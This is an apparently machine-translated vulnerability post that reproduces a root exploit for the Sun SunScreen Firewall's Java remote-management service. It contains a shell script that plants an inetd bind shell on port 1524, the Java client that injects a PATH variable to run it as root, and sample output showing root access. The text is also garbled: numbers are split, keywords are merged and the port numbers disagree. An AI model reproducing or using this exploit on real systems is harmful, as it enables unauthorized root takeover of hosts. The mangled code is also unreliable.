Sun Microsystems SunScreen Firewall vulnerability-vulnerability warning-the black bar safety net

2011-01-28T00:00:00
ID MYHACK58:62201128956
Type myhack58
Reporter 佚名
Modified 2011-01-28T00:00:00

Description

SunScreen is sun a firewall, which is running in sun OS 3 8 5 8 on the port, you can through a java service program for remote management. This java service contains a large number of buffer overflow vulnerabilities, at least two, and in addition, if an attacker can upload files to the system is also capable of executing arbitrary code. Following this exploit uploaded to the remote server will be able to root permission to perform.

view source

print?

| 0 0 1 | /* ---|---

0 0 2 | ---|---

0 0 3 | Sun Microsystems SunScreen Firewall Root Exploit ---|---

0 0 4 | discovered & exploited by Kingcope ---|---

0 0 5 | January 2 0 1 1 ---|---

0 0 6 | ---|---

0 0 7 | The SunScreen Firewall can be administrated remotely via a java protocol service ---|---

0 0 8 | which is running on port 3 8 5 8 on a SunOS machine. ---|---

0 0 9 | ---|---

0 1 0 | This Java Service contains numerous buffer overruns (2 of which I am aware of). ---|---

0 1 1 | Furthermore it is possible to execute arbitrary code if an attacker manages ---|---

0 1 2 | to upload a file onto the target system. ---|---

0 1 3 | ---|---

0 1 4 | As you can see in the following java exploit code in the environment ---|---

0 1 5 | is not properly sanitized prior to executing shell scripts as root, ---|---

0 1 6 | thus one can use the LD technique to preload binaries or even easier ---|---

0 1 7 | modify the PATH variable to forge the cat binary (which is executed by lib/screenname) ---|---

0 1 8 | to be executed in a different place. ---|---

0 1 9 | ---|---

0 2 0 | This can be exploited locally - remotely especially if anonymous ftp uploads ---|---

0 2 1 | are possible or any other file transfer protocol is activated. Uploading ---|---

0 2 2 | a file via the line printer daemon might also be possible. ---|---

0 2 3 | ---|---

0 2 4 | This has been tested on a SunOS 5.9. ---|---

0 2 5 | ---|---

0 2 6 | The shell script to be forged as the cat binary.. ---|---

0 2 7 | ---|---

0 2 8 | #!/ bin/sh ---|---

0 2 9 | echo "ingreslock stream tcp nowait root /bin/sh sh-i">/tmp/x; ---|---

0 3 0 | /usr/sbin/inetd-s /tmp/x; /bin/rm-f /tmp/x ---|---

0 3 1 | echo "+++ WE OWNED YA+++ WE OWNED YA+++ WE OWNED YA+++ WE OWNED YA+++ WE OWNED YA+++" ---|---

0 3 2 | #--- ---|---

0 3 3 | ---|---

0 3 4 | upload above shell script to /PATH/cat ---|---

0 3 5 | chmod a+x /PATH/cat ---|---

0 3 6 | supply target and PATH envvar to / exploit ---|---

0 3 7 | ---|---

0 3 8 | Opens a root shell on port 1 5 2 4/tcp (ingreslock) ---|---

0 3 9 | A successfull exploit looks like ---|---

0 4 0 | ---|---

0 4 1 | $ java SimpleClient ---|---

0 4 2 | ---|---

0 4 3 | ? ?? D? &Connection accepted, no authentication¶? O ` ---|---

0 4 4 | +++ WE OWNED YA+++ WE OWNED YA+++ WE OWNED YA+++ WE OWNED YA+++ WE OWNED Y ` ---|---

0 4 5 | A'+++ ---|---

0 4 6 | ---|---

0 4 7 | $ telnet 192.168.2.3 1 5 2 4 ---|---

0 4 8 | Trying 192.168.2.3... ---|---

0 4 9 | Connected to 192.168.2.3. ---|---

0 5 0 | Escape character is '^]'. ---|---

0 5 1 | # /bin/uname-a; ---|---

0 5 2 | SunOS unknown 5.9 Generic_118558-3 4 sun4u sparc SUNW,Ultra-5_10 ---|---

0 5 3 | ^M: not found ` ---|---

0 5 4 | # /b ` ---|---

0 5 5 | in/id; ---|---

0 5 6 | uid=0(root) gid=1(other) ---|---

0 5 7 | ^M: not found ` ---|---

0 5 8 | # ` ---|---

0 5 9 | ---|---

0 6 0 | */ ---|---

0 6 1 | ---|---

0 6 2 | importjava.net.*; ` ---|---

0 6 3 | importjava. io.*; ` ---|---

0 6 4 | importjava. util.*; ` ---|---

0 6 5 | importjava. text. DateFormat; ` ---|---

0 6 6 | apublicclassSimpleClient { ` ---|---

0 6 7 | ---|---

0 6 8 | publicstaticvoidmain(String args[]) { ` ---|---

0 6 9 | ---|---

0 7 0 | String str; ` ---|---

0 7 1 | `` ---|---

0 7 2 | try{ ` ---|---

0 7 3 | ---|---

0 7 4 | Socket s1 = new Socket("192.168.2.3",3 8 5 3); ---|---

0 7 5 | ---|---

0 7 6 | InputStream is = s1. getInputStream(); ` ---|---

0 7 7 | ---|---

0 7 8 | DataInputStream dis = new DataInputStream(is); ---|---

0 7 9 | ---|---

0 8 0 | OutputStream s1out = s1. getOutputStream(); ` ---|---

0 8 1 | DataOutputStream dos = new DataOutputStream(s1out); ---|---

0 8 2 | ---|---

0 8 3 | dos. writeByte(1); ` ---|---

0 8 4 | dos. writeByte(0); ` ---|---

0 8 5 | dos. writeShort(0); ` ---|---

0 8 6 | dos. writeInt(0); ` ---|---

0 8 7 | dos. writeByte(3); ` ---|---

0 8 8 | dos. writeByte(0); ` ---|---

0 8 9 | dos. writeShort(2 0 0 0); ` ---|---

0 9 0 | dos. writeShort(0); ` ---|---

0 9 1 | dos. writeShort(0); ` ---|---

0 9 2 | ---|---

0 9 3 | dos. writeUTF("0xtest"); ` ---|---

0 9 4 | dos. writeByte(3); ` ---|---

0 9 5 | dos. writeByte(1); ` ---|---

0 9 6 | dos. writeByte(1); ` ---|---

0 9 7 | dos. writeByte(1); ` ---|---

0 9 8 | dos. writeInt(3); ` ---|---

0 9 9 | dos. writeInt(0); ` ---|---

1 0 0 | dos. writeInt(0); ` ---|---

1 0 1 | ---|---

1 0 2 | dos. writeUTF("PATH=/tmp,"); ` ---|---

1 0 3 | dos. writeUTF("lib/screenname"); ` ---|---

1 0 4 | ---|---

1 0 5 | dos. writeUTF("admin1"); ` ---|---

1 0 6 | ---|---

1 0 7 | str = dis. readLine(); ` ---|---

1 0 8 | System. out. println(str); ` ---|---

1 0 9 | ---|---

1 1 0 | str = dis. readLine(); ` ---|---

1 1 1 | System. out. println(str); ` ---|---

1 1 2 | ---|---

1 1 3 | dis. close(); ` ---|---

1 1 4 | dos. close(); ` ---|---

1 1 5 | s1. close(); ` ---|---

1 1 6 | } catch (ConnectException connExc) { ---|---

1 1 7 | System. err. println("Could not connect to the server."); ` ---|---

1 1 8 | } catch (IOException e) { ---|---

1 1 9 | // foo ` ---|---

1 2 0 | } ` ---|---

1 2 1 | } ` ---|---

1 2 2 | }` ---|---